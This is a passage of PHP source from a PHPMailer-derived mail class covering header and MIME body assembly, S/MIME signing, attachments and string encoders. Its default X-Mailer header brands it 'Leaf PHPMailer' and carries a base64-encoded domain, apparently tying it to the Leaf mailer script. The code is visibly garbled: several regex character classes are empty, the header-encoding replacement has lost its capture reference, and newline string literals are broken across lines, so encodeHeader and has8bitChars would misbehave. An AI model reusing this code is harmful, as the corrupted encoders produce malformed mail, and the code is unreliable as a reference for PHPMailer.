  1745. }
  1746. }
  1747. return $maxLength;
  1748. }
  1749. /**
  1750. * Apply word wrapping to the message body.
  1751. * Wraps the message body to the number of chars set in the WordWrap property.
  1752. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1753. * This is called automatically by createBody(), so you don't need to call it yourself.
  1754. * @access public
  1755. * @return void
  1756. */
  1757. public function setWordWrap() {
  1758. if ($this->WordWrap < 1) {
  1759. return;
  1760. }
  1761. switch ($this->message_type) {
  1762. case 'alt':
  1763. case 'alt_inline':
  1764. case 'alt_attach':
  1765. case 'alt_inline_attach':
  1766. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1767. break;
  1768. default:
  1769. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1770. break;
  1771. }
  1772. }
  1773. /**
  1774. * Assemble message headers.
  1775. * @access public
  1776. * @return string The assembled headers
  1777. */
  1778. public function createHeader() {
  1779. $result = '';
  1780. if ($this->MessageDate == '') {
  1781. $this->MessageDate = self::rfcDate();
  1782. }
  1783. $result.= $this->headerLine('Date', $this->MessageDate);
  1784. // To be created automatically by mail()
  1785. if ($this->SingleTo) {
  1786. if ($this->Mailer != 'mail') {
  1787. foreach ($this->to as $toaddr) {
  1788. $this->SingleToArray[] = $this->addrFormat($toaddr);
  1789. }
  1790. }
  1791. } else {
  1792. if (count($this->to) > 0) {
  1793. if ($this->Mailer != 'mail') {
  1794. $result.= $this->addrAppend('To', $this->to);
  1795. }
  1796. } elseif (count($this->cc) == 0) {
  1797. $result.= $this->headerLine('To', 'undisclosed-recipients:;');
  1798. }
  1799. }
  1800. $result.= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1801. // sendmail and mail() extract Cc from the header before sending
  1802. if (count($this->cc) > 0) {
  1803. $result.= $this->addrAppend('Cc', $this->cc);
  1804. }
  1805. // sendmail and mail() extract Bcc from the header before sending
  1806. if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
  1807. $result.= $this->addrAppend('Bcc', $this->bcc);
  1808. }
  1809. if (count($this->ReplyTo) > 0) {
  1810. $result.= $this->addrAppend('Reply-To', $this->ReplyTo);
  1811. }
  1812. // mail() sets the subject itself
  1813. if ($this->Mailer != 'mail') {
  1814. $result.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1815. }
  1816. if ($this->MessageID != '') {
  1817. $this->lastMessageID = $this->MessageID;
  1818. } else {
  1819. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  1820. }
  1821. $result.= $this->headerLine('Message-ID', $this->lastMessageID);
  1822. if (!is_null($this->Priority)) {
  1823. $result.= $this->headerLine('X-Priority', $this->Priority);
  1824. }
  1825. if ($this->XMailer == '') {
  1826. $result.= $this->headerLine('X-Mailer', 'Leaf PHPMailer 2.7 (base64_decode("bGVhZm1haWxlci5wdw=="))');
  1827. } else {
  1828. $myXmailer = trim($this->XMailer);
  1829. if ($myXmailer) {
  1830. $result.= $this->headerLine('X-Mailer', $myXmailer);
  1831. }
  1832. }
  1833. if ($this->ConfirmReadingTo != '') {
  1834. $result.= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  1835. }
  1836. // Add custom headers
  1837. foreach ($this->CustomHeader as $header) {
  1838. $result.= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1])));
  1839. }
  1840. if (!$this->sign_key_file) {
  1841. $result.= $this->headerLine('MIME-Version', '1.0');
  1842. $result.= $this->getMailMIME();
  1843. }
  1844. return $result;
  1845. }
  1846. /**
  1847. * Get the message MIME type headers.
  1848. * @access public
  1849. * @return string
  1850. */
  1851. public function getMailMIME() {
  1852. $result = '';
  1853. $ismultipart = true;
  1854. switch ($this->message_type) {
  1855. case 'inline':
  1856. $result.= $this->headerLine('Content-Type', 'multipart/related;');
  1857. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1858. break;
  1859. case 'attach':
  1860. case 'inline_attach':
  1861. case 'alt_attach':
  1862. case 'alt_inline_attach':
  1863. $result.= $this->headerLine('Content-Type', 'multipart/mixed;');
  1864. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1865. break;
  1866. case 'alt':
  1867. case 'alt_inline':
  1868. $result.= $this->headerLine('Content-Type', 'multipart/alternative;');
  1869. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1870. break;
  1871. default:
  1872. // Catches case 'plain': and case '':
  1873. $result.= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1874. $ismultipart = false;
  1875. break;
  1876. }
  1877. // RFC1341 part 5 says 7bit is assumed if not specified
  1878. if ($this->Encoding != '7bit') {
  1879. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1880. if ($ismultipart) {
  1881. if ($this->Encoding == '8bit') {
  1882. $result.= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1883. }
  1884. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1885. } else {
  1886. $result.= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1887. }
  1888. }
  1889. if ($this->Mailer != 'mail') {
  1890. $result.= $this->LE;
  1891. }
  1892. return $result;
  1893. }
  1894. /**
  1895. * Returns the whole MIME message.
  1896. * Includes complete headers and body.
  1897. * Only valid post preSend().
  1898. * @see PHPMailer::preSend()
  1899. * @access public
  1900. * @return string
  1901. */
  1902. public function getSentMIMEMessage() {
  1903. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1904. }
  1905. /**
  1906. * Assemble the message body.
  1907. * Returns an empty string on failure.
  1908. * @access public
  1909. * @throws phpmailerException
  1910. * @return string The assembled message body
  1911. */
  1912. public function createBody() {
  1913. $body = '';
  1914. //Create unique IDs and preset boundaries
  1915. $this->uniqueid = md5(uniqid(time()));
  1916. $this->boundary[1] = 'b1_' . $this->uniqueid;
  1917. $this->boundary[2] = 'b2_' . $this->uniqueid;
  1918. $this->boundary[3] = 'b3_' . $this->uniqueid;
  1919. if ($this->sign_key_file) {
  1920. $body.= $this->getMailMIME() . $this->LE;
  1921. }
  1922. $this->setWordWrap();
  1923. $bodyEncoding = $this->Encoding;
  1924. $bodyCharSet = $this->CharSet;
  1925. //Can we do a 7-bit downgrade?
  1926. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1927. $bodyEncoding = '7bit';
  1928. $bodyCharSet = 'us-ascii';
  1929. }
  1930. //If lines are too long, and we're not already using an encoding that will shorten them,
  1931. //change to quoted-printable transfer encoding
  1932. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  1933. $this->Encoding = 'quoted-printable';
  1934. $bodyEncoding = 'quoted-printable';
  1935. }
  1936. $altBodyEncoding = $this->Encoding;
  1937. $altBodyCharSet = $this->CharSet;
  1938. //Can we do a 7-bit downgrade?
  1939. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1940. $altBodyEncoding = '7bit';
  1941. $altBodyCharSet = 'us-ascii';
  1942. }
  1943. //If lines are too long, and we're not already using an encoding that will shorten them,
  1944. //change to quoted-printable transfer encoding
  1945. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  1946. $altBodyEncoding = 'quoted-printable';
  1947. }
  1948. //Use this as a preamble in all multipart message types
  1949. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  1950. switch ($this->message_type) {
  1951. case 'inline':
  1952. $body.= $mimepre;
  1953. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1954. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1955. $body.= $this->LE . $this->LE;
  1956. $body.= $this->attachAll('inline', $this->boundary[1]);
  1957. break;
  1958. case 'attach':
  1959. $body.= $mimepre;
  1960. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1961. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1962. $body.= $this->LE . $this->LE;
  1963. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1964. break;
  1965. case 'inline_attach':
  1966. $body.= $mimepre;
  1967. $body.= $this->textLine('--' . $this->boundary[1]);
  1968. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  1969. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1970. $body.= $this->LE;
  1971. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1972. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1973. $body.= $this->LE . $this->LE;
  1974. $body.= $this->attachAll('inline', $this->boundary[2]);
  1975. $body.= $this->LE;
  1976. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1977. break;
  1978. case 'alt':
  1979. $body.= $mimepre;
  1980. $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1981. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1982. $body.= $this->LE . $this->LE;
  1983. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1984. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1985. $body.= $this->LE . $this->LE;
  1986. if (!empty($this->Ical)) {
  1987. $body.= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1988. $body.= $this->encodeString($this->Ical, $this->Encoding);
  1989. $body.= $this->LE . $this->LE;
  1990. }
  1991. $body.= $this->endBoundary($this->boundary[1]);
  1992. break;
  1993. case 'alt_inline':
  1994. $body.= $mimepre;
  1995. $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1996. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1997. $body.= $this->LE . $this->LE;
  1998. $body.= $this->textLine('--' . $this->boundary[1]);
  1999. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  2000. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  2001. $body.= $this->LE;
  2002. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2003. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2004. $body.= $this->LE . $this->LE;
  2005. $body.= $this->attachAll('inline', $this->boundary[2]);
  2006. $body.= $this->LE;
  2007. $body.= $this->endBoundary($this->boundary[1]);
  2008. break;
  2009. case 'alt_attach':
  2010. $body.= $mimepre;
  2011. $body.= $this->textLine('--' . $this->boundary[1]);
  2012. $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
  2013. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  2014. $body.= $this->LE;
  2015. $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2016. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  2017. $body.= $this->LE . $this->LE;
  2018. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2019. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2020. $body.= $this->LE . $this->LE;
  2021. $body.= $this->endBoundary($this->boundary[2]);
  2022. $body.= $this->LE;
  2023. $body.= $this->attachAll('attachment', $this->boundary[1]);
  2024. break;
  2025. case 'alt_inline_attach':
  2026. $body.= $mimepre;
  2027. $body.= $this->textLine('--' . $this->boundary[1]);
  2028. $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
  2029. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  2030. $body.= $this->LE;
  2031. $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2032. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  2033. $body.= $this->LE . $this->LE;
  2034. $body.= $this->textLine('--' . $this->boundary[2]);
  2035. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  2036. $body.= $this->textLine(" boundary=\"" . $this->boundary[3] . '"');
  2037. $body.= $this->LE;
  2038. $body.= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2039. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2040. $body.= $this->LE . $this->LE;
  2041. $body.= $this->attachAll('inline', $this->boundary[3]);
  2042. $body.= $this->LE;
  2043. $body.= $this->endBoundary($this->boundary[2]);
  2044. $body.= $this->LE;
  2045. $body.= $this->attachAll('attachment', $this->boundary[1]);
  2046. break;
  2047. default:
  2048. // catch case 'plain' and case ''
  2049. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2050. break;
  2051. }
  2052. if ($this->isError()) {
  2053. $body = '';
  2054. } elseif ($this->sign_key_file) {
  2055. try {
  2056. if (!defined('PKCS7_TEXT')) {
  2057. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2058. }
  2059. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2060. $file = tempnam(sys_get_temp_dir(), 'mail');
  2061. if (false === file_put_contents($file, $body)) {
  2062. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2063. }
  2064. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2065. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2066. if (empty($this->sign_extracerts_file)) {
  2067. $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null);
  2068. } else {
  2069. $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file);
  2070. }
  2071. if ($sign) {
  2072. @unlink($file);
  2073. $body = file_get_contents($signed);
  2074. @unlink($signed);
  2075. //The message returned by openssl contains both headers and body, so need to split them up
  2076. $parts = explode("
  2077. ", $body, 2);
  2078. $this->MIMEHeader.= $parts[0] . $this->LE . $this->LE;
  2079. $body = $parts[1];
  2080. } else {
  2081. @unlink($file);
  2082. @unlink($signed);
  2083. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2084. }
  2085. }
  2086. catch(phpmailerException $exc) {
  2087. $body = '';
  2088. if ($this->exceptions) {
  2089. throw $exc;
  2090. }
  2091. }
  2092. }
  2093. return $body;
  2094. }
  2095. /**
  2096. * Return the start of a message boundary.
  2097. * @access protected
  2098. * @param string $boundary
  2099. * @param string $charSet
  2100. * @param string $contentType
  2101. * @param string $encoding
  2102. * @return string
  2103. */
  2104. protected function getBoundary($boundary, $charSet, $contentType, $encoding) {
  2105. $result = '';
  2106. if ($charSet == '') {
  2107. $charSet = $this->CharSet;
  2108. }
  2109. if ($contentType == '') {
  2110. $contentType = $this->ContentType;
  2111. }
  2112. if ($encoding == '') {
  2113. $encoding = $this->Encoding;
  2114. }
  2115. $result.= $this->textLine('--' . $boundary);
  2116. $result.= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2117. $result.= $this->LE;
  2118. // RFC1341 part 5 says 7bit is assumed if not specified
  2119. if ($encoding != '7bit') {
  2120. $result.= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2121. }
  2122. $result.= $this->LE;
  2123. return $result;
  2124. }
  2125. /**
  2126. * Return the end of a message boundary.
  2127. * @access protected
  2128. * @param string $boundary
  2129. * @return string
  2130. */
  2131. protected function endBoundary($boundary) {
  2132. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2133. }
  2134. /**
  2135. * Set the message type.
  2136. * PHPMailer only supports some preset message types,
  2137. * not arbitrary MIME structures.
  2138. * @access protected
  2139. * @return void
  2140. */
  2141. protected function setMessageType() {
  2142. $type = array();
  2143. if ($this->alternativeExists()) {
  2144. $type[] = 'alt';
  2145. }
  2146. if ($this->inlineImageExists()) {
  2147. $type[] = 'inline';
  2148. }
  2149. if ($this->attachmentExists()) {
  2150. $type[] = 'attach';
  2151. }
  2152. $this->message_type = implode('_', $type);
  2153. if ($this->message_type == '') {
  2154. $this->message_type = 'plain';
  2155. }
  2156. }
  2157. /**
  2158. * Format a header line.
  2159. * @access public
  2160. * @param string $name
  2161. * @param string $value
  2162. * @return string
  2163. */
  2164. public function headerLine($name, $value) {
  2165. return $name . ': ' . $value . $this->LE;
  2166. }
  2167. /**
  2168. * Return a formatted mail line.
  2169. * @access public
  2170. * @param string $value
  2171. * @return string
  2172. */
  2173. public function textLine($value) {
  2174. return $value . $this->LE;
  2175. }
  2176. /**
  2177. * Add an attachment from a path on the filesystem.
  2178. * Returns false if the file could not be found or read.
  2179. * @param string $path Path to the attachment.
  2180. * @param string $name Overrides the attachment name.
  2181. * @param string $encoding File encoding (see $Encoding).
  2182. * @param string $type File extension (MIME) type.
  2183. * @param string $disposition Disposition to use
  2184. * @throws phpmailerException
  2185. * @return boolean
  2186. */
  2187. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') {
  2188. try {
  2189. if (!@is_file($path)) {
  2190. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2191. }
  2192. // If a MIME type is not specified, try to work it out from the file name
  2193. if ($type == '') {
  2194. $type = self::filenameToType($path);
  2195. }
  2196. $filename = basename($path);
  2197. if ($name == '') {
  2198. $name = $filename;
  2199. }
  2200. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
  2201. 6 => $disposition, 7 => 0);
  2202. }
  2203. catch(phpmailerException $exc) {
  2204. $this->setError($exc->getMessage());
  2205. $this->edebug($exc->getMessage());
  2206. if ($this->exceptions) {
  2207. throw $exc;
  2208. }
  2209. return false;
  2210. }
  2211. return true;
  2212. }
  2213. /**
  2214. * Return the array of attachments.
  2215. * @return array
  2216. */
  2217. public function getAttachments() {
  2218. return $this->attachment;
  2219. }
  2220. /**
  2221. * Attach all file, string, and binary attachments to the message.
  2222. * Returns an empty string on failure.
  2223. * @access protected
  2224. * @param string $disposition_type
  2225. * @param string $boundary
  2226. * @return string
  2227. */
  2228. protected function attachAll($disposition_type, $boundary) {
  2229. // Return text of body
  2230. $mime = array();
  2231. $cidUniq = array();
  2232. $incl = array();
  2233. // Add all attachments
  2234. foreach ($this->attachment as $attachment) {
  2235. // Check if it is a valid disposition_filter
  2236. if ($attachment[6] == $disposition_type) {
  2237. // Check for string attachment
  2238. $string = '';
  2239. $path = '';
  2240. $bString = $attachment[5];
  2241. if ($bString) {
  2242. $string = $attachment[0];
  2243. } else {
  2244. $path = $attachment[0];
  2245. }
  2246. $inclhash = md5(serialize($attachment));
  2247. if (in_array($inclhash, $incl)) {
  2248. continue;
  2249. }
  2250. $incl[] = $inclhash;
  2251. $name = $attachment[2];
  2252. $encoding = $attachment[3];
  2253. $type = $attachment[4];
  2254. $disposition = $attachment[6];
  2255. $cid = $attachment[7];
  2256. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2257. continue;
  2258. }
  2259. $cidUniq[$cid] = true;
  2260. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2261. //Only include a filename property if we have one
  2262. if (!empty($name)) {
  2263. $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
  2264. } else {
  2265. $mime[] = sprintf('Content-Type: %s%s', $type, $this->LE);
  2266. }
  2267. // RFC1341 part 5 says 7bit is assumed if not specified
  2268. if ($encoding != '7bit') {
  2269. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2270. }
  2271. if ($disposition == 'inline') {
  2272. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2273. }
  2274. // If a filename contains any of these chars, it should be quoted,
  2275. // but not otherwise: RFC2183 & RFC2045 5.1
  2276. // Fixes a warning in IETF's msglint MIME checker
  2277. // Allow for bypassing the Content-Disposition header totally
  2278. if (!(empty($disposition))) {
  2279. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2280. if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
  2281. $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE);
  2282. } else {
  2283. if (!empty($encoded_name)) {
  2284. $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE);
  2285. } else {
  2286. $mime[] = sprintf('Content-Disposition: %s%s', $disposition, $this->LE . $this->LE);
  2287. }
  2288. }
  2289. } else {
  2290. $mime[] = $this->LE;
  2291. }
  2292. // Encode as string attachment
  2293. if ($bString) {
  2294. $mime[] = $this->encodeString($string, $encoding);
  2295. if ($this->isError()) {
  2296. return '';
  2297. }
  2298. $mime[] = $this->LE . $this->LE;
  2299. } else {
  2300. $mime[] = $this->encodeFile($path, $encoding);
  2301. if ($this->isError()) {
  2302. return '';
  2303. }
  2304. $mime[] = $this->LE . $this->LE;
  2305. }
  2306. }
  2307. }
  2308. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2309. return implode('', $mime);
  2310. }
  2311. /**
  2312. * Encode a file attachment in requested format.
  2313. * Returns an empty string on failure.
  2314. * @param string $path The full path to the file
  2315. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2316. * @throws phpmailerException
  2317. * @access protected
  2318. * @return string
  2319. */
  2320. protected function encodeFile($path, $encoding = 'base64') {
  2321. try {
  2322. if (!is_readable($path)) {
  2323. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2324. }
  2325. $magic_quotes = get_magic_quotes_runtime();
  2326. if ($magic_quotes) {
  2327. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2328. set_magic_quotes_runtime(false);
  2329. } else {
  2330. //Doesn't exist in PHP 5.4, but we don't need to check because
  2331. //get_magic_quotes_runtime always returns false in 5.4+
  2332. //so it will never get here
  2333. ini_set('magic_quotes_runtime', false);
  2334. }
  2335. }
  2336. $file_buffer = file_get_contents($path);
  2337. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2338. if ($magic_quotes) {
  2339. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2340. set_magic_quotes_runtime($magic_quotes);
  2341. } else {
  2342. ini_set('magic_quotes_runtime', $magic_quotes);
  2343. }
  2344. }
  2345. return $file_buffer;
  2346. }
  2347. catch(Exception $exc) {
  2348. $this->setError($exc->getMessage());
  2349. return '';
  2350. }
  2351. }
  2352. /**
  2353. * Encode a string in requested format.
  2354. * Returns an empty string on failure.
  2355. * @param string $str The text to encode
  2356. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2357. * @access public
  2358. * @return string
  2359. */
  2360. public function encodeString($str, $encoding = 'base64') {
  2361. $encoded = '';
  2362. switch (strtolower($encoding)) {
  2363. case 'base64':
  2364. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2365. break;
  2366. case '7bit':
  2367. case '8bit':
  2368. $encoded = $this->fixEOL($str);
  2369. // Make sure it ends with a line break
  2370. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2371. $encoded.= $this->LE;
  2372. }
  2373. break;
  2374. case 'binary':
  2375. $encoded = $str;
  2376. break;
  2377. case 'quoted-printable':
  2378. $encoded = $this->encodeQP($str);
  2379. break;
  2380. default:
  2381. $this->setError($this->lang('encoding') . $encoding);
  2382. break;
  2383. }
  2384. return $encoded;
  2385. }
  2386. /**
  2387. * Encode a header string optimally.
  2388. * Picks shortest of Q, B, quoted-printable or none.
  2389. * @access public
  2390. * @param string $str
  2391. * @param string $position
  2392. * @return string
  2393. */
  2394. public function encodeHeader($str, $position = 'text') {
  2395. $matchcount = 0;
  2396. switch (strtolower($position)) {
  2397. case 'phrase':
  2398. if (!preg_match('/[-]/', $str)) {
  2399. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2400. $encoded = addcslashes($str, "..\"");
  2401. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2402. return ($encoded);
  2403. } else {
  2404. return ("\"$encoded\"");
  2405. }
  2406. }
  2407. $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
  2408. break;
  2409. /** @noinspection PhpMissingBreakStatementInspection */
  2410. case 'comment':
  2411. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2412. // Intentional fall-through
  2413. case 'text':
  2414. default:
  2415. $matchcount+= preg_match_all('/[- --]/', $str, $matches);
  2416. break;
  2417. }
  2418. //There are no chars that need encoding
  2419. if ($matchcount == 0) {
  2420. return ($str);
  2421. }
  2422. $maxlen = 75 - 7 - strlen($this->CharSet);
  2423. // Try to select the encoding which should produce the shortest output
  2424. if ($matchcount > strlen($str) / 3) {
  2425. // More than a third of the content will need encoding, so B encoding will be most efficient
  2426. $encoding = 'B';
  2427. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2428. // Use a custom function which correctly encodes and wraps long $subject
  2429. // multibyte strings without breaking lines within a character
  2430. $encoded = $this->base64EncodeWrapMB($str, "
  2431. ");
  2432. } else {
  2433. $encoded = base64_encode($str);
  2434. $maxlen-= $maxlen % 4;
  2435. $encoded = trim(chunk_split($encoded, $maxlen, "
  2436. "));
  2437. }
  2438. } else {
  2439. $encoding = 'Q';
  2440. $encoded = $this->encodeQ($str, $position);
  2441. $encoded = $this->wrapText($encoded, $maxlen, true);
  2442. $encoded = str_replace('=' . self::CRLF, "
  2443. ", trim($encoded));
  2444. }
  2445. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
  2446. $encoded = trim(str_replace("
  2447. ", $this->LE, $encoded));
  2448. return $encoded;
  2449. }
  2450. /**
  2451. * Check if a string contains multi-byte characters.
  2452. * @access public subject
  2453. * @param string $str multi-byte text to wrap encode
  2454. * @return boolean
  2455. */
  2456. public function hasMultiBytes($str) {
  2457. if (function_exists('mb_strlen')) {
  2458. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2459. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2460. return false;
  2461. }
  2462. }
  2463. /**
  2464. * Does a string contain any 8-bit chars (in any charset)?
  2465. * @param string $text
  2466. * @return boolean
  2467. */
  2468. public function has8bitChars($text) {
  2469. return (boolean)preg_match('/[-]/', $text);
  2470. }
  2471. /**
  2472. * Encode and wrap long multibyte strings for mail headers
  2473. * without breaking lines within a character.
  2474. * Adapted from a function by paravoid
  2475. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2476. * @access public
  2477. * @param string $str multi-byte text to wrap encode
  2478. * @param string $linebreak string to use as linefeed/end-of-line
  2479. * @return string
  2480. */
  2481. public function base64EncodeWrapMB($str, $linebreak = null) {
  2482. $start = '=?' . $this->CharSet . '?B?';
  2483. $end = '?=';
  2484. $encoded = '';
  2485. if ($linebreak === null) {
  2486. $linebreak = $this->LE;
  2487. }
  2488. $mb_length = mb_strlen($str, $this->CharSet);
  2489. // Each line must have length <= 75, including $start and $end
  2490. $length = 75 - strlen($start) - strlen($end);
  2491. // Average multi-byte ratio
  2492. $ratio = $mb_length / strlen($str);
  2493. // Base64 has a 4:3 ratio
  2494. $avgLength = floor($length * $ratio * .75);
  2495. for ($i = 0;$i < $mb_length;$i+= $offset) {
  2496. $lookBack = 0;
  2497. do {
  2498. $offset = $avgLength - $lookBack;
  2499. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2500. $chunk = base64_encode($chunk);
  2501. $lookBack++;
  2502. } while (strlen($chunk) > $length);
  2503. $encoded.= $chunk . $linebreak;
  2504. }
  2505. // Chomp the last linefeed
  2506. $encoded = substr($encoded, 0, -strlen($linebreak));
  2507. return $encoded;
  2508. }
  2509. /**
  2510. * Encode a string in quoted-printable format.
  2511. * According to RFC2045 section 6.7.
  2512. * @access public
  2513. * @param string $string The text to encode
  2514. * @param integer $line_max Number of chars allowed on a line before wrapping
  2515. * @return string
  2516. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2517. */
  2518. public function encodeQP($string, $line_max = 76) {
  2519. // Use native function if it's available (>= PHP5.3)
  2520. if (function_exists('quoted_printable_encode')) {
  2521. return quoted_printable_encode($string);
  2522. }
  2523. // Fall back to a pure PHP implementation
  2524. $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
  2525. =2E", "
  2526. ", '='), rawurlencode($string));
  2527. return preg_replace('/[^
  2528. ]{' . ($line_max - 3) . '}[^=
  2529. ]{2}/', "$0=
  2530. ", $string);
  2531. }
  2532. /**
  2533. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2534. * @see PHPMailer::encodeQP()
  2535. * @access public
  2536. * @param string $string
  2537. * @param integer $line_max
  2538. * @param boolean $space_conv
  2539. * @return string
  2540. * @deprecated Use encodeQP instead.
  2541. */
  2542. public function encodeQPphp($string, $line_max = 76,
  2543. /** @noinspection PhpUnusedParameterInspection */
  2544. $space_conv = false) {
  2545. return $this->encodeQP($string, $line_max);
  2546. }
  2547. /**
  2548. * Encode a string using Q encoding.
  2549. * @link http://tools.ietf.org/html/rfc2047
  2550. * @param string $str the text to encode
  2551. * @param string $position Where the text is going to be used, see the RFC for what that means
  2552. * @access public
  2553. * @return string
  2554. */
  2555. public function encodeQ($str, $position = 'text') {
  2556. // There should not be any EOL in the string
  2557. $pattern = '';
  2558. $encoded = str_replace(array("
  2559. ", "
  2560. "), '', $str);
  2561. switch (strtolower($position)) {
  2562. case 'phrase':
  2563. // RFC 2047 section 5.3
  2564. $pattern = '^A-Za-z0-9!*+\/ -';
  2565. break;
